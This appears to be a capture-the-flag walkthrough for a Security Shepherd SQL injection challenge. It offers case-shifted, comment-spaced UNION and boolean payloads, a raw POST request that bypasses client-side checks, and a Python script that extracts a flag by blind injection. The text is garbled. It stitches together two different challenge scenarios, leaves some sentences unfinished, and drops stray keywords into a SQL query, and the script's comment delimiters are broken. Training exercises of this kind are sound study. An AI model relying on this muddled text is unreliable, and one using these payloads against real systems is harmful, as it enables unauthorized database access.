You’ve just completed Challenge 4, where you bypassed a login using a basic ' OR '1'='1 attack. Now, Challenge 5 presents a new target: "Secure Note-Taker Pro" — a minimalist web app that claims to have fixed all SQL injection vulnerabilities.
The challenge description reads:
"Our new note-taking app uses prepared statements for all database queries. However, one developer thought it would be 'more efficient' to dynamically build a search query for the admin panel. Your goal: retrieve the administrator's private note."
You are given a guest account:
guestguestThe app has two pages:
The challenge presents a simple form that accepts a username and a password.
Upon submitting credentials, the application responds with:
No other data is displayed on the page.
Navigate to Challenge 5. The interface typically presents a search box—often a "Find User" or "Lookup Product ID" field. Let’s simulate the environment:
/challenge5.jsp?userid=11 returns: User Found: Admin2 returns: User Found: John Doe99 returns: No user exists.You will notice the keyword "new" appearing frequently in search queries. Historically, earlier versions of Security Shepherd (pre-2021) had a relatively straightforward SQLi in Challenge 5. However, the "new" iteration—updated for modern OWASP Top 10 compliance—introduced three critical changes:
SELECT, UNION, WHERE, and FROM.%20) are stripped if they appear in certain contexts.These changes force the attacker to use blind, boolean-based, case-shifted injection.
We cannot use ORDER BY easily due to space filters, so we use UNION SELECT NULL.
Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL/**/aNd/**/1=2-- -
If this returns no rows (False), try two columns.
Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL,NULL/**/aNd/**/1=2-- -
Expected result: When the number of NULLs matches the original SELECT (likely 2 columns), the page returns "User Found" even with the 1=2 condition. This confirms 2 columns.
If the developer used double quotes around the LIKE pattern, then a double quote would close it. But the debug header shows single quotes. So maybe the filter is only client-side? You can bypass client-side validation by editing the POST request manually using Burp Suite or browser dev tools. sql+injection+challenge+5+security+shepherd+new
Disable JavaScript or intercept the request. Send:
search_term=%' OR user_id=1 AND '1'='1
No — quotes still needed for the '1'='1'. Better:
search_term=%' OR user_id=1 --
Submit via raw POST:
POST /challenge5/search.jsp HTTP/1.1
...
search_term=%25%27+OR+user_id%3D1+--+
But %25 is %, %27 is '. The server receives the single quote because client-side validation is bypassed.
Resulting SQL:
SELECT note FROM notes WHERE user_id = 2 AND note LIKE '%%' OR user_id=1 -- %' The Scenario: The Secure Note-Taker You’ve just completed
The -- comments out the rest. Now the condition is user_id=2 AND note LIKE '%%' (always true for guest notes) OR user_id=1 (admin). But both conditions are ORed, so all notes where user_id=1 or 2 appear.
Response shows two notes:
Guest note: Remember to buy milk.
Admin note: The flag is SQLi_Chall5_Shepherd_8347
Doing this manually takes hours. Use a Python script with requests and binary search logic:
import requestsurl = "http://localhost:8080/challenge5.jsp" flag = "" position = 1
while True: for ascii_val in range(32, 127): char = chr(ascii_val) # Blind boolean payload payload = f"1'//aNd//(SeLeCt//SuBsTrInG(flag,{position},1)//FrOm//users//LiMiT//0,1)//=/**/'{char}'-- -" params = {"userid": payload} resp = requests.get(url, params=params)
if "User Found" in resp.text: flag += char print(f"Found: {flag}") position += 1 break else: # No more characters found print(f"Final flag: {flag}") break